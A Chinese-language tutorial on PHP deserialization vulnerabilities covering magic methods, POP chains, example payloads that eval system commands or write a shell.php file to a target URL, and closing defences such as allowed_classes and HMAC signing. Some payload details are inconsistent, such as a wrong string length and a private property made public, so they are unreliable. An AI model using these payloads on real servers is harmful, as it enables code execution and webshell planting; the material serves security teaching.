一、PHP序列化与反序列化基础
1. 序列化(serialize)
将PHP对象或数据结构转换为字符串,便于存储或传输。
php
class User {
public $name = "Alice";
private $role = "admin";
}
$obj = new User();
echo serialize($obj);
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userrole";s:5:"admin";}
2. 反序列化(unserialize)
将序列化字符串还原为PHP对象或数据结构。
php
$data = 'O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userrole";s:5:"admin";}';
$obj = unserialize($data);
echo $obj->name; // 输出:Alice
3. 魔术方法(Magic Methods)
反序列化时会自动触发的特殊方法:
__wakeup():反序列化时调用。__destruct():对象销毁时调用。__toString():对象被当作字符串使用时调用。漏洞核心:攻击者通过控制反序列化数据,触发魔术方法中的危险操作。
二、PHP反序列化漏洞原理
1. 漏洞成因
当程序反序列化用户可控的数据且存在以下条件:
类中定义了可被利用的魔术方法(如
__destruct中执行文件删除)。类属性可控,导致代码执行或敏感操作。
2. 漏洞利用链(POP Chain)
通过构造特定对象,触发多个魔术方法形成利用链,例如: unserialize() → __wakeup() → 调用某方法 → __toString() → 执行系统命令
三、常见漏洞类型与利用
1. 直接代码执行
php
class Exploit {
public $cmd = "system('whoami');";
function __destruct() {
eval($this->cmd);
}
}
$payload = serialize(new Exploit());
unserialize($payload); // 触发eval执行系统命令
2. 文件操作(写入Webshell)
php
class FileHandler {
public $filename = "shell.php";
public $content = "<?php phpinfo(); ?>";
function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
// 生成Payload:O:11:"FileHandler":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:17:"<?php phpinfo(); ?>";}
3. 利用内置类的危险方法
SoapClient:SSRF漏洞(需开启
ext-soap扩展)。SimpleXMLElement:XXE漏洞。
Phar反序列化:通过Phar协议触发反序列化。
四、POP链构造实战
1. 靶场示例(DVWA)
假设存在以下代码:
php
class Logger {
private $logFile;
function __construct($file) {
$this->logFile = $file;
}
function __destruct() {
file_put_contents($this->logFile, "Log saved.");
}
}
$data = unserialize($_GET['data']);
2. 构造Payload
php
class Logger {
public $logFile = "shell.php";
}
$payload = serialize(new Logger());
// 输出:O:6:"Logger":1:{s:6:"logFile";s:9:"shell.php";}
访问URL: http://target.com/vuln.php?data=O:6:"Logger":1:{s:6:"logFile";s:9:"shell.php";} 触发后会在服务器生成shell.php文件。
五、防御措施
1. 输入过滤
避免反序列化用户输入的不可信数据。
使用
json_encode()/json_decode()替代序列化。
2. 魔术方法安全设计
避免在
__wakeup、__destruct等方法中执行危险操作。对反序列化的类属性进行严格校验。
3. 白名单限制
使用
allowed_classes参数限制反序列化的类:
php
unserialize($data, ["allowed_classes" => ["SafeClass"]]);
4. 签名验证
对序列化数据添加HMAC签名,验证数据完整性。